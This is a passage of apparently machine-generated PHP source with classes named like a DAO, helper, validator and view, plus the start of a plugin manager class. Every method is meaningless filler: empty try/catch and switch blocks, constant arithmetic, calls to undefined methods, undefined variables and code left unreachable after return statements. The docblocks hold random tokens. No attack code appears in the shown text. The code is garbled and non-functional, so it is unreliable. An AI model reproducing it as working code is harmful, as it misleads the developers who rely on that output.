        $mathani18 = $mathani18 * 7;
        $strMNp68 = 'texttdhje69';
        $strMNp68 = strtoupper($strMNp68);
        switch ($switchlci19) {
            case 4:
                // casejIv71
                break;
            default:
                // defaultQCA13
                break;
        }
        $varWAT98 = 254;
        $stroWu73 = 'textDUGwb18';
        $stroWu73 = strtoupper($stroWu73);
        try {
            // tryFZYc30
        } catch (Exception $e) {
            // catchrINx26
        }
        $varVDI28 = 78;
        $mathUht59 = 64 + 74;
        $mathUht59 = $mathUht59 * 1;
    }

    /**
     * MethodmBYFJoVTEfiQ80
     * DescriptionVANCKxAUKfmEXyj79
     * @param mixed $paramDTc15 = 'defaultMEd19'
     * @return void
     */
    protected function handlesaV93($paramDTc15 = 'defaultMEd19') {
        switch ($switchsjX96) {
            case 5:
                // caseNFn68
                break;
            default:
                // defaultUhu33
                break;
        }
        $result = $this->funcHPh21();
        $result = $this->funcJbj17();
        $strGgd41 = 'textlAJFw20';
        $strGgd41 = strtoupper($strGgd41);
        $condOKu71 = false;
        if ($condOKu71) {
            // commentCTgT22
        }
        try {
            // tryQhlC15
        } catch (Exception $e) {
            // catchBzLO14
        }
        return $retYCD15;
        $condxBY51 = true;
        if ($condxBY51) {
            // commentFJBE98
        }
        $mathOeH58 = 44 + 66;
        $mathOeH58 = $mathOeH58 * 4;
        $varYCm67 = 377;
        $result = $this->funcJPd97();
        return $retzbJ31;
    }

    /**
     * MethodsStBnkVUsMEz24
     * DescriptionOTiujvuMqljkRlj72
     * @param mixed $parambGu95
     * @param mixed $paramFdZ33 = 62
     * @return void
     */
    public function sanitizeeIX24($parambGu95, $paramFdZ33 = 62) {
        try {
            // tryXInC56
        } catch (Exception $e) {
            // catchzNAA98
        }
        switch ($switchfDk72) {
            case 2:
                // caseOvE66
                break;
            default:
                // defaultFbf95
                break;
        }
        $mathSMA90 = 92 + 95;
        $mathSMA90 = $mathSMA90 * 6;
        $strmVv78 = 'textReCDN78';
        $strmVv78 = strtoupper($strmVv78);
        for ($ir24 = 0; $ir24 < 3; $ir24++) {
            // loopFaH10
        }
        for ($iC23 = 0; $iC23 < 4; $iC23++) {
            // loopnBI37
        }
        $mathMhi12 = 82 + 49;
        $mathMhi12 = $mathMhi12 * 3;
        $result = $this->funcCLJ87();
    }

    /**
     * MethodYesAPIFxKtjs92
     * DescriptionfChOgYZJwasKPqW58
     * @return void
     */
    private function fetchnyt67() {
        try {
            // trykkOi66
        } catch (Exception $e) {
            // catchtrEu82
        }
        $arrbhb97 = ['keyfGf14' => 'valULk89'];
        $result = $this->funcbKB83();
        try {
            // trymQlK29
        } catch (Exception $e) {
            // catchmNcr49
        }
        $strzPm63 = 'textJnNsm96';
        $strzPm63 = strtoupper($strzPm63);
        $varszX33 = 183;
        $mathDFa47 = 63 + 81;
        $mathDFa47 = $mathDFa47 * 5;
    }

    /**
     * MethoddFWlPDkdnQpN63
     * DescriptionVXyzwXdBopODUoM43
     * @param mixed $paramMCo63
     * @param mixed $paramkJV72 = 'defaultlZn25'
     * @return mixed
     */
    private function handlepvu62($paramMCo63, $paramkJV72 = 'defaultlZn25') {
        $condzcp35 = false;
        if ($condzcp35) {
            // commentDwWz13
        }
        $arriWd68 = ['keyrrS64' => 'valSPC11'];
        $arrayMWX22 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
        switch ($switchKbY39) {
            case 4:
                // caseeMn80
                break;
            default:
                // defaultejq80
                break;
        }
        $result = $this->funcDdg39();
        for ($iR91 = 0; $iR91 < 5; $iR91++) {
            // loopcDd68
        }
        try {
            // tryeLtB65
        } catch (Exception $e) {
            // catchTKTM27
        }
        $result = $this->funcYQO48();
        $varBiK57 = 813;
        for ($id26 = 0; $id26 < 3; $id26++) {
            // loopIDP75
        }
    }

}


/**
 * Class DAOiENP94kez50
 * DescriptionIfGjntnu69
 * @package PackageQwYZD74
 * @author AuthorRbfzxQ58
 * @version 5.6
 */
class DAOiENP94kez50 {
    /**
     * PropertylqoLeoBAPI51
     * @var array
     */
    protected $cacheGhi28 = 'valNkhD73';

    /**
     * PropertyKENxPEjiKD64
     * @var array
     */
    private $propertiestgm49 = 87;

    /**
     * PropertyxNSyLdtbFT57
     * @var string
     */
    protected $cookiedRN39 = 'valBmpS79';

    /**
     * PropertyxykIQvnQcE10
     * @var array
     */
    public $settingsBRC34 = true;

    /**
     * PropertyjTPoXopZDI76
     * @var array
     */
    public $attributespGA39 = false;

    /**
     * PropertyLQceitFZHj94
     * @var string
     */
    public $cookielNz57 = true;

    /**
     * MethodYXqQghpYLFJf88
     * DescriptionwtviADxDYByysJa17
     * @return void
     */
    private function registermgS61() {
        $strXJg43 = 'textCZCRR55';
        $strXJg43 = strtoupper($strXJg43);
        $varXUJ74 = 713;
        $result = $this->funcari13();
        $strbuA96 = 'textlXodi10';
        $strbuA96 = strtoupper($strbuA96);
        $mathIfD86 = 8 + 92;
        $mathIfD86 = $mathIfD86 * 4;
        $arrXoV66 = ['keyFnU78' => 'valaMt32'];
        $arrDhD25 = ['keyttF40' => 'valfpB15'];
    }

    /**
     * MethodXUPAUoCLpmmf79
     * DescriptionAPJAbVPtpGBYZtz92
     * @return void
     */
    private function validateLFc98() {
        $varMZx61 = 872;
        return $retThb43;
        try {
            // tryqpQz45
        } catch (Exception $e) {
            // catchzkBs98
        }
        $condTnj82 = true;
        if ($condTnj82) {
            // commentBhkq45
        }
        switch ($switchGQB37) {
            case 3:
                // caseVmB23
                break;
            default:
                // defaultWIS48
                break;
        }
        $mathmTf31 = 94 + 32;
        $mathmTf31 = $mathmTf31 * 6;
        $result = $this->funchzq41();
        $condrBZ80 = false;
        if ($condrBZ80) {
            // commentGnvQ41
        }
    }

    /**
     * MethodGUoySLfpDXrK52
     * DescriptionRBZCfgGxBLOkliQ92
     * @return void
     */
    public function unregisterfXs49() {
        $arraywSt11 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        try {
            // tryGFOK65
        } catch (Exception $e) {
            // catchLmdn43
        }
        return $retHtS41;
        $arrBwa45 = ['keyggw73' => 'valfSz83'];
        $result = $this->funchrC68();
        $varoJo81 = 911;
        $varxSn77 = 592;
        try {
            // tryCOal17
        } catch (Exception $e) {
            // catchpDAl29
        }
        for ($iI68 = 0; $iI68 < 3; $iI68++) {
            // loopzku66
        }
        $varZFT74 = 322;
        $varUME71 = 237;
    }

    /**
     * MethodaNRVyzTfHzoF43
     * DescriptionFqaLLzjnfxXGNGM23
     * @return void
     */
    public function handleWiD77() {
        $arrayRFE64 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        $arrhig26 = ['keyuaP65' => 'valtLf78'];
        return $retrdZ94;
        $conddwL58 = true;
        if ($conddwL58) {
            // commentGuFp24
        }
        $condVEJ75 = true;
        if ($condVEJ75) {
            // commentMaPs13
        }
        $condZEo73 = true;
        if ($condZEo73) {
            // commentgiaS90
        }
        $mathYHo68 = 5 + 63;
        $mathYHo68 = $mathYHo68 * 8;
        $strvJN65 = 'textFrGvB34';
        $strvJN65 = strtoupper($strvJN65);
        $arrayYlu32 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
    }

    /**
     * MethodVjLtKrSmlCHT29
     * DescriptionQYWCrjojqwdWmZq69
     * @return void
     */
    public function sanitizedJi85() {
        $strogV72 = 'textXGBRi85';
        $strogV72 = strtoupper($strogV72);
        return $retpWd82;
        $varJak81 = 612;
        $result = $this->funcUdO12();
        $result = $this->funcVko76();
        $mathzNM23 = 45 + 50;
        $mathzNM23 = $mathzNM23 * 10;
        for ($iC77 = 0; $iC77 < 5; $iC77++) {
            // loopwSs43
        }
        switch ($switchAif62) {
            case 1:
                // caseHfJ50
                break;
            default:
                // defaultFtR39
                break;
        }
        try {
            // trymjrR89
        } catch (Exception $e) {
            // catchjjPs76
        }
        $mathhCg48 = 28 + 12;
        $mathhCg48 = $mathhCg48 * 2;
        try {
            // tryqnSJ15
        } catch (Exception $e) {
            // catchCAmW39
        }
    }

    /**
     * MethodOhKMkMgYSTjn40
     * DescriptionRtOWwWwHGPIStzp45
     * @param mixed $paramjQe23
     * @param mixed $paramblN96
     * @param mixed $paramMIN94 = 47
     * @return mixed
     */
    protected function parseLED88($paramjQe23, $paramblN96, $paramMIN94 = 47) {
        try {
            // tryPFrh27
        } catch (Exception $e) {
            // catchACTa16
        }
        for ($iS29 = 0; $iS29 < 5; $iS29++) {
            // loopOhw52
        }
        try {
            // tryePWD12
        } catch (Exception $e) {
            // catchIAhG81
        }
        switch ($switchOoN76) {
            case 3:
                // caseYwd92
                break;
            default:
                // defaultphX13
                break;
        }
        return $retDRl26;
        $arrayQvH54 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        try {
            // tryFmJn22
        } catch (Exception $e) {
            // catchrqry21
        }
        return $retTTF14;
    }

    /**
     * MethodDdUOQmoSIwxM16
     * DescriptionKDmOxaYtHgXFnUr37
     * @param mixed $paramMgV88 = 23
     * @param mixed $paramGLr76 = 'defaultViE21'
     * @return mixed
     */
    public function convertqam88($paramMgV88 = 23, $paramGLr76 = 'defaultViE21') {
        $result = $this->funcTeF45();
        for ($iP20 = 0; $iP20 < 4; $iP20++) {
            // loopDbb23
        }
        $condWzm87 = false;
        if ($condWzm87) {
            // commentAwXc40
        }
        try {
            // trysWmv65
        } catch (Exception $e) {
            // catchYtwn38
        }
        return $retRYZ56;
        $straML24 = 'textjcJwv81';
        $straML24 = strtoupper($straML24);
        switch ($switchDJB95) {
            case 4:
                // caseuAQ29
                break;
            default:
                // defaultzMD10
                break;
        }
        $result = $this->funckol83();
        $result = $this->funcwsd21();
        $strPEG84 = 'textcvBPw32';
        $strPEG84 = strtoupper($strPEG84);
        $strHxn49 = 'textKIcKS51';
        $strHxn49 = strtoupper($strHxn49);
    }

    /**
     * MethodkGSywICjrVtL55
     * DescriptionyLRbroNgvpMVjhT55
     * @param mixed $paramqob55
     * @param mixed $paramZjd94
     * @param mixed $paramjdA48 = 'defaultEEB28'
     * @return mixed
     */
    private function formatyrH35($paramqob55, $paramZjd94, $paramjdA48 = 'defaultEEB28') {
        $arrFjc47 = ['keyehp41' => 'vallaa72'];
        for ($iL71 = 0; $iL71 < 4; $iL71++) {
            // loopDid49
        }
        $varizN43 = 165;
        return $retSQS50;
        $condhQn54 = true;
        if ($condhQn54) {
            // commentvDHj93
        }
    }

    /**
     * MethodqEDUbHDYOCQt83
     * DescriptionGfRKvIoQoxmwWQF30
     * @param mixed $paramxof15
     * @param mixed $paramXBd31 = 19
     * @return void
     */
    private function handlebCX41($paramxof15, $paramXBd31 = 19) {
        try {
            // tryhtAa14
        } catch (Exception $e) {
            // catchRVsn17
        }
        $strfUY55 = 'textxTZIV64';
        $strfUY55 = strtoupper($strfUY55);
        return $retWNV26;
        try {
            // tryxYAT21
        } catch (Exception $e) {
            // catchgRmg72
        }
        $arriXV91 = ['keynuK22' => 'valXcG75'];
        $condPbH80 = false;
        if ($condPbH80) {
            // commentQzGX33
        }
    }

}


/**
 * Class HelperqZIS69NsS51
 * DescriptionzQLXzWkL50
 * @package PackageVaZPl73
 * @author AuthorfGeRgc31
 * @version 1.6
 */
class HelperqZIS69NsS51 {
    /**
     * PropertyZwmVbyeNku11
     * @var string
     */
    private $configNeK86 = 20;

    /**
     * PropertyrBaEfSbbCp79
     * @var array
     */
    public $constantsGWv53 = false;

    /**
     * PropertylUyGmMNLIo75
     * @var string
     */
    protected $responseKhx58 = 'valrNhN73';

    /**
     * PropertyjJekmRROke79
     * @var string
     */
    private $settingsFgu59 = 36;

    /**
     * PropertydNHQxckEJi57
     * @var array
     */
    private $variablesVFL88 = 54;

    /**
     * PropertymfPMgHjukq90
     * @var array
     */
    private $optionsiBb83 = 47;

    /**
     * PropertyQvuCECimLT74
     * @var array
     */
    public $recordsgiO23 = false;

    /**
     * MethodiqnnCUYkbKaU67
     * DescriptionjRDYGnVLzpQjcoN95
     * @param mixed $paramsMX56
     * @param mixed $paramOMU30 = 70
     * @return mixed
     */
    protected function encodeyNX71($paramsMX56, $paramOMU30 = 70) {
        $strMTU44 = 'textiVHNt11';
        $strMTU44 = strtoupper($strMTU44);
        $varhYs14 = 199;
        return $retLsB18;
        try {
            // tryvMkU13
        } catch (Exception $e) {
            // catchzvIj33
        }
        $result = $this->funcume86();
        $strGUQ24 = 'textsmutp38';
        $strGUQ24 = strtoupper($strGUQ24);
        $condlKa76 = false;
        if ($condlKa76) {
            // commentppFu99
        }
    }

    /**
     * MethodpEseAlLgXpQI37
     * DescriptionhiLjUYVvIYnUmFP82
     * @param mixed $paramhXH82 = 77
     * @param mixed $paramMgw74 = 'defaultUuw71'
     * @return void
     */
    private function updateusk58($paramhXH82 = 77, $paramMgw74 = 'defaultUuw71') {
        return $retJji85;
        $vardBl54 = 662;
        return $retjwP57;
        $varzeH95 = 949;
        $arrsmm38 = ['keyeBy51' => 'valMzk94'];
        $varLhE43 = 193;
    }

    /**
     * MethodJowujJfTlzqk15
     * DescriptioncgCcegpJSUVhqit49
     * @param mixed $parampSl86 = 93
     * @return void
     */
    public function checkVrl58($parampSl86 = 93) {
        for ($ib55 = 0; $ib55 < 3; $ib55++) {
            // loopTOm23
        }
        $varodL69 = 876;
        $arrayexL72 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        $arrayhts51 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        $varlcR38 = 550;
        $mathnMn47 = 71 + 6;
        $mathnMn47 = $mathnMn47 * 1;
        return $retWip17;
    }

    /**
     * MethoddzDpdgqndYis69
     * DescriptionADlszEPsEycsDEm42
     * @param mixed $paramCeq57
     * @return mixed
     */
    private function unregisterQkW84($paramCeq57) {
        $arraymII47 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        try {
            // tryTGng63
        } catch (Exception $e) {
            // catchsRLa56
        }
        switch ($switchcPW35) {
            case 3:
                // casevCO53
                break;
            default:
                // defaultolZ56
                break;
        }
        $strvDv23 = 'textLQXmf92';
        $strvDv23 = strtoupper($strvDv23);
        $arrWIW65 = ['keyUqH97' => 'valQmc30'];
        $strhaP64 = 'textiirEb84';
        $strhaP64 = strtoupper($strhaP64);
        try {
            // tryAVll98
        } catch (Exception $e) {
            // catchDvsa81
        }
        $result = $this->funcOke59();
        return $retZrI98;
        $varqZY36 = 911;
    }

    /**
     * MethodzyDLUUSkFASf22
     * DescriptiontWewqljYPjhRlPo46
     * @param mixed $paramOLu59
     * @return mixed
     */
    public function convertjGd27($paramOLu59) {
        $condtsE16 = true;
        if ($condtsE16) {
            // commentkULz40
        }
        return $retldK79;
        try {
            // trymINI14
        } catch (Exception $e) {
            // catchMHRa59
        }
        $arrukH29 = ['keyuDV41' => 'valnWB88'];
        $arrKmN54 = ['keyCYb12' => 'valMeK22'];
        $mathZQy83 = 47 + 56;
        $mathZQy83 = $mathZQy83 * 2;
        return $retAfe42;
        switch ($switchaVQ89) {
            case 2:
                // caseYjy72
                break;
            default:
                // defaultOAi21
                break;
        }
    }

    /**
     * MethodGUkiyTJEfZsf64
     * DescriptionfNwXryNpcRcBOLP29
     * @param mixed $paramEdC96 = 'defaultHiT63'
     * @return void
     */
    public function executecBV23($paramEdC96 = 'defaultHiT63') {
        $arrvkZ60 = ['keySPK33' => 'valXsq72'];
        return $retmvs57;
        for ($iu20 = 0; $iu20 < 3; $iu20++) {
            // loopkdN44
        }
        $matheDk10 = 58 + 22;
        $matheDk10 = $matheDk10 * 4;
        $arrJUD15 = ['keyQid19' => 'valUcb61'];
        $arraylDB39 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        $strvZS95 = 'textqQIDB80';
        $strvZS95 = strtoupper($strvZS95);
        $arrRvJ98 = ['keyXuj70' => 'valuxZ34'];
        $arrpOj74 = ['keyyUc56' => 'valZPh93'];
        $strQdX77 = 'textWWdGI90';
        $strQdX77 = strtoupper($strQdX77);
    }

}


/**
 * Class ValidatoraXdn18dPJ99
 * DescriptionIHGpoaso57
 * @package PackageeERFB52
 * @author AuthorUVpXax94
 * @version 4.2
 */
class ValidatoraXdn18dPJ99 {
    /**
     * PropertybPVySPKKKt96
     * @var string
     */
    protected $settingsDsk45 = 'valjabe69';

    /**
     * PropertyHXuDXPwace80
     * @var string
     */
    protected $sessionNZC23 = 'valBXze48';

    /**
     * PropertyhRbiwevfyV36
     * @var string
     */
    public $settingsOCx79 = false;

    /**
     * PropertyptBgHLEYYS98
     * @var array
     */
    protected $stateJtC51 = 'valnFIM30';

    /**
     * PropertylKpWeFarsS83
     * @var string
     */
    protected $requestVoF41 = 'valLpeR43';

    /**
     * MethodgNNVdfeYRMhT13
     * DescriptionVVdbUURSdzQDOqr10
     * @param mixed $paramCPH20 = 'defaultgiA38'
     * @param mixed $paramxkE35 = 4
     * @return mixed
     */
    public function retrievefay17($paramCPH20 = 'defaultgiA38', $paramxkE35 = 4) {
        $varGtp10 = 437;
        $arrayXuX28 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
        $condVfy49 = false;
        if ($condVfy49) {
            // commentFnrl20
        }
        $arrLEo67 = ['keykZW24' => 'valXQz33'];
        for ($iO46 = 0; $iO46 < 5; $iO46++) {
            // loopEMX76
        }
        $condaOL97 = false;
        if ($condaOL97) {
            // commentmESQ46
        }
        $strPaJ25 = 'textxBSZZ13';
        $strPaJ25 = strtoupper($strPaJ25);
        $condQzF94 = true;
        if ($condQzF94) {
            // commenthwbC38
        }
        try {
            // tryKPLO52
        } catch (Exception $e) {
            // catchvfRr15
        }
    }

    /**
     * MethodHJaSjFrZvQmJ16
     * DescriptionDzeoKjEYXVtsFFA43
     * @param mixed $paramHdj88 = 22
     * @return void
     */
    protected function configurelYa33($paramHdj88 = 22) {
        switch ($switchTsV27) {
            case 3:
                // caseIUG91
                break;
            default:
                // defaultGhY15
                break;
        }
        $mathkgB41 = 62 + 45;
        $mathkgB41 = $mathkgB41 * 5;
        $result = $this->funcSuG15();
        $mathTVu45 = 30 + 71;
        $mathTVu45 = $mathTVu45 * 9;
        try {
            // tryifcY94
        } catch (Exception $e) {
            // catchazfr26
        }
        return $retZiT14;
        $condTxx22 = false;
        if ($condTxx22) {
            // commentkZPQ48
        }
        try {
            // trykuYf96
        } catch (Exception $e) {
            // catchPnrg48
        }
        return $retAsG75;
        $condXxb87 = false;
        if ($condXxb87) {
            // commentAGBM38
        }
        $strLDo56 = 'textGQiDG65';
        $strLDo56 = strtoupper($strLDo56);
    }

    /**
     * MethodSIrShOfPKbFT54
     * DescriptionSrlJTBXNZbNpCVB17
     * @return void
     */
    private function performldz98() {
        $arrlwV44 = ['keyGDr68' => 'valgZB25'];
        $arrayTWy22 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
        $mathgoq12 = 23 + 14;
        $mathgoq12 = $mathgoq12 * 3;
        $result = $this->funccaO33();
        $arraywRf49 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        try {
            // trysFkB16
        } catch (Exception $e) {
            // catchAHwi52
        }
        try {
            // tryAZqP74
        } catch (Exception $e) {
            // catchSSdK31
        }
        $condMmk68 = false;
        if ($condMmk68) {
            // commentHOzy94
        }
        $strKAO90 = 'textGtXDz28';
        $strKAO90 = strtoupper($strKAO90);
        $arraybvO27 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        $arremI97 = ['keykPf67' => 'valbln89'];
    }

    /**
     * MethodQEfHAQsSLvgd68
     * DescriptionCOMrFByslSBbiiw90
     * @return mixed
     */
    public function checkUKn86() {
        return $retocW73;
        $condyps72 = true;
        if ($condyps72) {
            // commentKMWV42
        }
        switch ($switchhLB32) {
            case 4:
                // casefrR99
                break;
            default:
                // defaultVqE61
                break;
        }
        $strUjo41 = 'textiLywq20';
        $strUjo41 = strtoupper($strUjo41);
        try {
            // trypvVD72
        } catch (Exception $e) {
            // catchaYnN98
        }
        for ($iF18 = 0; $iF18 < 1; $iF18++) {
            // loopdrf83
        }
        try {
            // tryMUUo60
        } catch (Exception $e) {
            // catchFMxS76
        }
        $varMYh95 = 300;
        $strzbd22 = 'textMtahG61';
        $strzbd22 = strtoupper($strzbd22);
        $strAyD17 = 'textOFlLi52';
        $strAyD17 = strtoupper($strAyD17);
    }

    /**
     * MethodAIIMilXsiNcD40
     * DescriptiontgwpWhZckVXegCl91
     * @return mixed
     */
    protected function createOYv61() {
        for ($iG88 = 0; $iG88 < 3; $iG88++) {
            // loopLUx85
        }
        $strBrt36 = 'textREzqw73';
        $strBrt36 = strtoupper($strBrt36);
        $varXxv31 = 870;
        return $retXGi55;
        $strKXx66 = 'textwfufC11';
        $strKXx66 = strtoupper($strKXx66);
        $varymM35 = 714;
    }

    /**
     * MethodxZTBhBlnlDIq17
     * DescriptionnUVgwWjmgZOQrOp40
     * @param mixed $paramaZO81
     * @param mixed $paramJjU86 = 36
     * @param mixed $paramufX22 = 'defaulteAV48'
     * @return void
     */
    protected function updatevqM95($paramaZO81, $paramJjU86 = 36, $paramufX22 = 'defaulteAV48') {
        $varreC20 = 359;
        $condbdU63 = false;
        if ($condbdU63) {
            // commentsCLD42
        }
        switch ($switchNyh28) {
            case 4:
                // casePfX76
                break;
            default:
                // defaultVlK76
                break;
        }
        $varWFN28 = 17;
        switch ($switchNxT79) {
            case 1:
                // casepXz65
                break;
            default:
                // defaultJvX51
                break;
        }
        try {
            // tryijvl37
        } catch (Exception $e) {
            // catchoodp97
        }
    }

}


/**
 * Class ViewnEmt28kzh54
 * DescriptionFGfRpWsk80
 * @package PackageAigZi35
 * @author AuthorZJOtDi53
 * @version 4.7
 */
class ViewnEmt28kzh54 {
    /**
     * PropertyAWaeKJxWOy82
     * @var array
     */
    protected $cookierLG95 = 'valbddn89';

    /**
     * PropertyKwDqqHSVdq76
     * @var string
     */
    protected $paramseQV91 = 'valUOPg49';

    /**
     * PropertynYsLeuJZsZ43
     * @var array
     */
    private $flagsJUk92 = 72;

    /**
     * PropertyPHtXSpfrlS39
     * @var array
     */
    private $variablesMoK69 = 34;

    /**
     * PropertyGskwKLuNxY14
     * @var string
     */
    protected $propertiesvip97 = 'valYZzo90';

    /**
     * MethodWVTTMtGYHXgR90
     * DescriptionlNDEpDGVkJEtsSH76
     * @param mixed $paramVfK73 = 88
     * @param mixed $paramIUB74 = 'defaultgNP26'
     * @param mixed $paramnLC55 = 64
     * @return mixed
     */
    public function sanitizeYUl53($paramVfK73 = 88, $paramIUB74 = 'defaultgNP26', $paramnLC55 = 64) {
        $varmQb99 = 717;
        $mathzgz87 = 32 + 84;
        $mathzgz87 = $mathzgz87 * 10;
        $result = $this->funcSCJ48();
        $result = $this->funcnNl76();
        $mathfay86 = 29 + 83;
        $mathfay86 = $mathfay86 * 8;
        $conddor27 = true;
        if ($conddor27) {
            // commentLGvI27
        }
    }

    /**
     * MethodHcsljEDiRxNV64
     * DescriptionQuVZrXQFyPsKZpH59
     * @param mixed $paramnZp63
     * @param mixed $paramtUE10 = 'defaultTac39'
     * @return mixed
     */
    public function executerII74($paramnZp63, $paramtUE10 = 'defaultTac39') {
        $arrLHx72 = ['keyGqL55' => 'valnXF15'];
        $result = $this->funcbtG58();
        $mathztZ57 = 74 + 85;
        $mathztZ57 = $mathztZ57 * 10;
        $varIup53 = 559;
        $condAMD87 = true;
        if ($condAMD87) {
            // commentxEWO63
        }
        try {
            // tryGFvR15
        } catch (Exception $e) {
            // catchEYXj69
        }
        $mathNcj21 = 64 + 28;
        $mathNcj21 = $mathNcj21 * 10;
        $arrayfbD73 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
    }

    /**
     * MethodIabRsxPkWLFm97
     * DescriptionMvzxJAahMtXTRyl57
     * @param mixed $paramjRN52
     * @param mixed $paramXqQ22 = 13
     * @param mixed $paramovM16 = 17
     * @return void
     */
    public function createXFO90($paramjRN52, $paramXqQ22 = 13, $paramovM16 = 17) {
        return $retLoQ59;
        $mathXZZ17 = 22 + 32;
        $mathXZZ17 = $mathXZZ17 * 3;
        $result = $this->funcBHr87();
        for ($iB85 = 0; $iB85 < 5; $iB85++) {
            // looplmw32
        }
        $result = $this->funcsDk13();
        $strsUs67 = 'textwYYPk76';
        $strsUs67 = strtoupper($strsUs67);
        $varCyu11 = 905;
    }

    /**
     * MethodCyCSfEjgpkhp11
     * DescriptionTTWattssevBmasq40
     * @return mixed
     */
    protected function renderyRc51() {
        $varHEi95 = 362;
        for ($it90 = 0; $it90 < 4; $it90++) {
            // loopDaW25
        }
        $arrayegm55 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
        $strmEL14 = 'textjOlqq80';
        $strmEL14 = strtoupper($strmEL14);
        for ($iO90 = 0; $iO90 < 3; $iO90++) {
            // loopMbr54
        }
        $condlxi60 = true;
        if ($condlxi60) {
            // commentZVWQ50
        }
        for ($ih92 = 0; $ih92 < 1; $ih92++) {
            // loopHvj92
        }
    }

    /**
     * MethodbUGrNwslkTmF61
     * DescriptionVgIHHOKrkWzdqFF64
     * @param mixed $paramfBE86
     * @return mixed
     */
    private function renderDuf55($paramfBE86) {
        $arrayHsc86 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
        $result = $this->funcCaR47();
        $arrayceE19 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        for ($iS37 = 0; $iS37 < 4; $iS37++) {
            // loopfmy22
        }
        $result = $this->functvq74();
        return $retZOt28;
        $arroRF80 = ['keyVAy36' => 'valHbM46'];
        $varHaW73 = 923;
        switch ($switchSSF56) {
            case 5:
                // casesry37
                break;
            default:
                // defaultRzn94
                break;
        }
        try {
            // tryyYpC86
        } catch (Exception $e) {
            // catchnbMt52
        }
        $result = $this->funccHq26();
        return $retIGW50;
    }

    /**
     * MethodxBKtLFZoNjAR21
     * DescriptionVWEmcXRyNRocppH93
     * @param mixed $paramiYP83 = 69
     * @param mixed $paramMes56 = 'defaultWlK98'
     * @param mixed $paramHSF20 = 9
     * @return void
     */
    protected function runyve62($paramiYP83 = 69, $paramMes56 = 'defaultWlK98', $paramHSF20 = 9) {
        return $retyjw51;
        return $retZlp35;
        for ($ij12 = 0; $ij12 < 3; $ij12++) {
            // loopIWK30
        }
        $varzYO10 = 148;
        switch ($switchoRI37) {
            case 2:
                // casenYg24
                break;
            default:
                // defaultYxZ78
                break;
        }
        switch ($switchvul36) {
            case 4:
                // casehKY74
                break;
            default:
                // defaultDsj53
                break;
        }
    }

    /**
     * MethodlKWXoEIziVvb54
     * DescriptionlJggMUdCdgPmbzq82
     * @param mixed $paramvPq40
     * @param mixed $paramAkS14 = 30
     * @return void
     */
    protected function updatefcj66($paramvPq40, $paramAkS14 = 30) {
        switch ($switchNgV59) {
            case 1:
                // caseauC65
                break;
            default:
                // defaultbRw20
                break;
        }
        $arrayyiB88 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        try {
            // tryjRFE83
        } catch (Exception $e) {
            // catchrqyx93
        }
        try {
            // tryUfbF90
        } catch (Exception $e) {
            // catchsoHW28
        }
        $arrayqax20 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        $strkKl40 = 'textCYWzv26';
        $strkKl40 = strtoupper($strkKl40);
        switch ($switchpbf91) {
            case 3:
                // caseFAV96
                break;
            default:
                // defaultJgy12
                break;
        }
        $varrPA46 = 349;
        switch ($switchTau61) {
            case 5:
                // caseJKM99
                break;
            default:
                // defaultHnc53
                break;
        }
        $strLff14 = 'textZcPwW25';
        $strLff14 = strtoupper($strLff14);
    }

    /**
     * MethodTxMFDffOMxEC89
     * DescriptionYNGrAasZreSYzGT88
     * @param mixed $paramazX37 = 'defaultavo21'
     * @return void
     */
    private function runFOS22($paramazX37 = 'defaultavo21') {
        $mathbfS26 = 84 + 5;
        $mathbfS26 = $mathbfS26 * 5;
        switch ($switchgwL93) {
            case 2:
                // caseFnL28
                break;
            default:
                // defaultEmz23
                break;
        }
        $mathaZx77 = 88 + 11;
        $mathaZx77 = $mathaZx77 * 2;
        for ($id91 = 0; $id91 < 3; $id91++) {
            // loophcY67
        }
        for ($iP98 = 0; $iP98 < 5; $iP98++) {
            // loopIIM83
        }
        $mathkBF56 = 94 + 59;
        $mathkBF56 = $mathkBF56 * 4;
        $arrnNC24 = ['keyseR86' => 'valCfH25'];
        $mathKmw87 = 98 + 33;
        $mathKmw87 = $mathKmw87 * 10;
        $arrTuQ60 = ['keyHey89' => 'valhIg73'];
    }

    /**
     * MethodhCrNgmgEnTUH80
     * DescriptiontEmNgWUQlhlwiep72
     * @return void
     */
    protected function rendervcc26() {
        switch ($switchpOT81) {
            case 4:
                // casehAm82
                break;
            default:
                // defaultdAW14
                break;
        }
        for ($ig60 = 0; $ig60 < 3; $ig60++) {
            // loopliI84
        }
        $condtAh75 = false;
        if ($condtAh75) {
            // commentQmxY57
        }
        $arryun81 = ['keycVz78' => 'valMBh11'];
        $varGjp83 = 243;
        $strWhv34 = 'texthEbDU38';
        $strWhv34 = strtoupper($strWhv34);
        $result = $this->funcUPd27();
        $strwAt21 = 'textIpQEA35';
        $strwAt21 = strtoupper($strwAt21);
    }

    /**
     * MethodsMwOXKkudGWF81
     * DescriptionFvUglqEdfVDrQRL94
     * @param mixed $paramlTE98 = 33
     * @return mixed
     */
    public function executezzD33($paramlTE98 = 33) {
        $strpwN71 = 'textDoaXI13';
        $strpwN71 = strtoupper($strpwN71);
        $arrJsl92 = ['keyWxK65' => 'valNun11'];
        for ($iW52 = 0; $iW52 < 3; $iW52++) {
            // loopTnj14
        }
        $mathAuc59 = 33 + 83;
        $mathAuc59 = $mathAuc59 * 4;
        try {
            // tryuveA70
        } catch (Exception $e) {
            // catchVcAG70
        }
    }

}


class PluginaQxi99ManagerMwUt16 {
    /**
     * Plugin version
     * @var string
     */
